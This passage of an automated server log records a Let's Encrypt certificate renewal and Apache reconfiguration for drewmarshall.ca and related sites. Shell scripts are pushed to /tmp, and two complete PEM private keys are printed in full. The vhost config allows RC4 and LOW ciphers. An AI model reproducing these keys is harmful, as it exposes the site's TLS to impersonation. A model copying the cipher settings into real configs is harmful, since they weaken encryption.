A4IBAQBe0sghFGux/IkTSMH6JaFhfgOXlUC/cFe44RV/fa1FF3pQZPFeP/kFqxRj
0JC3AX/6LlJw32uujgQp+IKcEOuGxHY0HLPDd8N6pVZ/govbf+j0xHRmaMpYMrkW
c5pHHlkNhgQSrWPCPzLerhLgt4Tso+FRZ6gAyxOT/bJvwghBYcungPuqEW5srG3C
viGddUPKMsNkvNnPCs7q6Q2KMia7lzjr1HscdpqmOrJEqaSXF5tBC/+a1QA6rVeg
rXR4iiX9juM2K9lPtOb84DSgh7GYhBp6HJJwWr9mKVW5luqWypr2eap+Gkly0I2U
C72+ifkWgAINsVvj9/BZ+Qlt3HPS
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrST4SQw740Jcc
FinyThzkHWPv2AFL2LmjApqzhYu1L+edKPljdatZjMBasaaFVQH/S9grbSgKDRBq
rc91oSqj+MXD5V7IOT3xYTSCdFuq7zyt18pWssWlaK3ZwVEg+eVP8FyEb63nRdMs
Dg0iGth73FG/PI31zst/4+4Tph6e5ouiakf7SKbaC2RtfCABym0F5tSkOfs3m10E
vR+YBL0MRqxgk3lvMGPGAIU8pVRA8m0BruVsnNemovYLEit0nWsQq4N+kVGhaqQD
LAgg/boW50oFfOlpbvrUmaJprPnJdJNUl7pUP16yb0rekvuXQst2AvQT33J659CP
LUoG+N5lAgMBAAECggEBAKCwzs29IY+lyQ3tcR7Dz3Dmbbo2EElCoi1epRmkQMQT
lBuptAVt//m8BT1QiqNtc7k5QyzCdByx0uPx+b4mG+XG3moAhmIa6ZTJF8UHOnRr
iqag2k9p2ehrAyZVqTHhnxLWsUUBrMlahVlAOWv0eYIB2KMrQRcJEXsCr3i5kOKK
Z/Ty/RtwuoAg3DJcaTSJatPoTy0Mt0eu1JqI4OFLYi2ynnV6laQjxFp/oOrgbiZe
U44J8U0nYFx8JxAKxEdCDFi6rhInNvZ+uCm1GqCBAWFv5JqreG4lZLVwFn7nfp+o
iCbfFhG1DvOzo6ZP8aU28kgX77KOqLOt3OuYboRuJgUCgYEA2LLbWSJzANQuySbq
p1qWHvYaYtDvGBHxluFclzITk8MrUmaIuBOtZTsgY1q5KLOs23Weu8+9CNDi+ftF
fhuv2h2ABFW+XUsWvp9/zV+L1RgxD1mJtH9H6kQ69UddRGnQlgu61t2kyh9+lSro
oRcg5PtJfW4eT0w2ErRnJjGQ3UsCgYEAylnq3lCsFhDflQ/6movarKo8XJ4tDXlj
MFh9+APklKKWM8yC3dfE1FqvL4qrbpbPFcphRFGWLIuCEk29fqi7uCtQV7RWdB6t
I6GqcA2ls02LA2/pnf4imx4gKXjXrpT2AO0dErGP4YVo50JOB+MIFT4JcAImmlOn
UTdZcdrGVQ8CgYEAqoemInD/u6k+4EFl7ClXdioJ/bWaUoDcc/YJnVplGaU/VGso
MGQb0kxDYqykhalP4KyhK/+BLYzk8gCRYXp8WtNYSREI6/YJgh2Wv5HvQtT01rWJ
rqdzeqITG677cLks0seMU0a9Reqe/Nh1lT/UPR6baL/dzl2VOAcMHXxoGh0CgYEA
jqS6S8PEu71jT1o3R/Dk0ykiagvbKI90m6UWD9r2rMy8Y4F8k1RCXYwbyMDRPqEz
FGJZFOcKnRYvOCXzOjFKO3bVKS5ob20ckmypkFoef/pez6p5njWDQaQH+hREvr4l
eNutzfq7ubfpDnUQOsERdqAH2Ry7B7mGzlrdQ8R8YYMCgYANTDlRwOPCKzxVSvqZ
OXbP5G3mXfH3rHSJWYwhBKOLwt2GhnOYuugq/+CkQITFgR+RFPFH4q/Tnsdtk6hl
JAZE2jfBfjpRIuAzmuvtKoSiGgWfox9cWa7uCuVrjuzhtRBwmwM+NBCUphysyYMX
pPcUzS7JlXOo+jdB9KZ2FtL44g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-24 06:01:09: Establishing a connection
2025-10-24 06:01:09: Establishing a connection
2025-10-24 06:01:09:
PUT: /tmp/pkp392731
#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:01:10:
chmod 755 /tmp/pkp392731; /tmp/pkp392731; rm /tmp/pkp392731
2025-10-24 06:01:10:
1
2025-10-24 06:01:11: Establishing a connection
2025-10-24 06:01:11:
PUT: /tmp/pkp612041
#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc
cat > yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco
2025-10-24 06:01:11:
chmod 755 /tmp/pkp612041; /tmp/pkp612041; rm /tmp/pkp612041
2025-10-24 06:01:11:
2025-10-24 06:01:25: Establishing a connection
2025-10-24 06:01:25:
PUT: /tmp/pkp979041
#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm mtE2IdpniXtDkhzXI0Z36pJgw4jDp6AQuqAO13hxovc
rm yaikksd0fIZUsr1J23UJjBaRm51MZmTqUF7m_gO8qco
2025-10-24 06:01:26:
chmod 755 /tmp/pkp979041; /tmp/pkp979041; rm /tmp/pkp979041
2025-10-24 06:01:26:
2025-10-24 06:01:26: Establishing a connection
2025-10-24 06:01:26:
PUT: /tmp/pkp752089
#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt
cat > $temp_file <<'endmsg'
44:76:16:89:ea:b1:e3:e7:3c:f4:56:f7:21:94:95:b4
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBaMdlRW3S3+d6EcB4Z/O4NpPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjU1WhcNMjYwMTIyMDUwMjU0WjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDLc2YLgwNPDPGxZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4Zh
G8uIiMUYQXNO3EiPcecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaP
Q3yYSvTnaYBnPLD84qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWyp
a9jTXILby/qC/Sz5salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/
CAvtWxO0VecpkHiNMHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3M
hI0BDZYo+GAscx47VO2GDNJlAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEIb4F/MyLKaxP5cMXEgHlmLu0xjMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODAuY3JsMIIBBAYKKwYB
BAHWeQIEAgSB9QSB8gDwAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGaFM7AFwAABAMASDBGAiEA3KIiQNvqrTCP1p/83S73Fr54WWXW91J4X63O
TKRDHNUCIQCf+wHyusAuK0+C7tn0s9g64WPkUHaBg3DkdxIjlip/kwB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTOwBcAAAQDAEYwRAIgKERJ
lsjhqyhQguRz9pPTN/Tiu9cIDwcE9ON/CexQKAsCIDiLllcV2dK2aHQNL4y9O4Ks
GBBL/3IYylDCKOS+hsbpMA0GCSqGSIb3DQEBCwUAA4IBAQCeQroHDrqB5n97+hfg
m9XzDGlrZtPoEyqSYuPU9aS+1OF60VBv7eG0Pg6xcbKYelz8uySF5tlyb0Pfa1g6
yv1RNBIINxIQJaCexm5fe0wo8CZdzn1IydCBhLwwSH1huxQbmmK0lIO4aQM7YHWN
q/2VnKFTRttsTmv3LSKHg9ZjPc8zKbQsQcTwJ2Og8GlCKm6uIa/Loh0MiFAv6oSf
3KMpFPIbbKGKUoWgH5KPonaoFHtiqX22TF4kpvw694G4QyP71oRnITgX8ZSOqsAf
tcYUeJybsT+i7JBzO9E5L3sbHfzeGFXR583mgS2ZO7StrxZkslyBT/qbCVcXfjrv
P9m3
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLc2YLgwNPDPGx
ZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4ZhG8uIiMUYQXNO3EiP
cecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaPQ3yYSvTnaYBnPLD8
4qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWypa9jTXILby/qC/Sz5
salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/CAvtWxO0VecpkHiN
MHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3MhI0BDZYo+GAscx47
VO2GDNJlAgMBAAECggEAHzVLcPae2lBs/r4zpXvxLxyFMI/CF2HPcGI2+l4jBzVi
17WxoosSlllOEjkygtDlrsL0IN1hV7Z4tvBM+jTThtxsJsffGtEx90XB4MFDTgWW
IFQnuml7i4DEqmIxOtaqVR4iZSEM3kk0CQanugbgLWTmcs+o1oUOMswZCUdW3lFU
Rmu93LjokQoxl9+i3qcrSTKlcg2dn0wb53y39Y9vb7anBAPuDvkHcFWCDYNzcfTX
nIt3Kg4tUsHPBxSWyXZovTUlAnF2yb01KF7C+ZYMzJztHyCMmVWXhcbtOKu1Fawh
PVxAZvcChKPxpF+ONvxBn8wXW95dyxofptNtzJTBQQKBgQD7bCc4DempyiGR78rF
O6vmEHU3q8ZDK6htfG5brr1ZVPZAAT+eAQe0nnVBaNB4MOabpGhAhG6fy5elOS0P
Wy13vjqMO9B7lT6AydRCCU9nJUDcSXw7FjoXyxzwua9xpNzE2BVBO4+KeQLbWYIL
y9nJOvIpQLj/p0I459MeW746VQKBgQDPJ6fblcvUV5T8X+7EGFBJISA3llBWRUh+
g0hB582+jbOm5BXyIR0YN9Dm8FNQMOuWCBXUkEGv06wz6PDDB1WYZUTJLlrcvaZp
mkL3wfawMZikC5EQbHWRXbUPSKhoLNTlm5jj51GACUJb7yma8jdkgf7S/2B29/BF
lddoIitn0QKBgQD0bccLJet+2DYezQNTEJokBugOgX80mmMaXhhkJdOL35+vxgb1
M4csP8k7GA1kbBYmRoXcA2QREjuRs65s+XWQrm35G8WqAARN7OngcXCylHMkNoUC
ZK+BpkOyfLNmRqMi8/hl/OOl+dOfMLvPgBVxH0+Cb5vrX85vyGFlaEfeKQKBgDD+
ZAjfKNIT1LzLw6DFT1e8ae47ssx0nmytiA1uUY7b3L1//GDDzCnKKbI07L9ukolt
aBxZ8e8v1O6CDU9TEL92VApw2DSU9iLLxULrsPiDAmLqCWkk/blfvE7dFFdvIvsb
DdH5B6GMjxFHQ0POPaObyzUECUCZ603J3qRWUIXBAoGBAJQ4GxIdwR0Mhkj+ri9j
9WYJdMsHKsBXAIDdP3jNprgLsBJW/9D5a6X79avs6lR7jnl5ik93KksIkgtRlLCW
//a0diF3NhiUOhqAiEOYXknNY6/wAe8LJQaqJcq9iwSVPOeN0FewlUyleZZCHEJ4
Ba+gVv9zOkc1068r7kIgVHAg
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-24 06:01:26:
chmod 755 /tmp/pkp752089; /tmp/pkp752089; rm /tmp/pkp752089
2025-10-24 06:01:26:
dir=/etc/ssl/certs
2025-10-24 06:01:26:
PUT: /tmp/pkp644594
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-24 06:01:26:
chmod 755 /tmp/pkp644594; /tmp/pkp644594; rm /tmp/pkp644594
2025-10-24 06:01:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43
<VirtualHost *:80>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:01:26:
PUT: /tmp/pkp835775
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi
2025-10-24 06:01:26:
chmod 755 /tmp/pkp835775; /tmp/pkp835775; rm /tmp/pkp835775
2025-10-24 06:01:26:
2025-10-24 06:01:26:
PUT: /tmp/pkp647108
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-24 06:01:26:
chmod 755 /tmp/pkp647108; /tmp/pkp647108; rm /tmp/pkp647108
2025-10-24 06:01:26:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:01:26: Establishing a connection
2025-10-24 06:01:26:
PUT: /tmp/pkp717766
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-24 06:01:27:
chmod 755 /tmp/pkp717766; /tmp/pkp717766; rm /tmp/pkp717766
2025-10-24 06:01:27:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
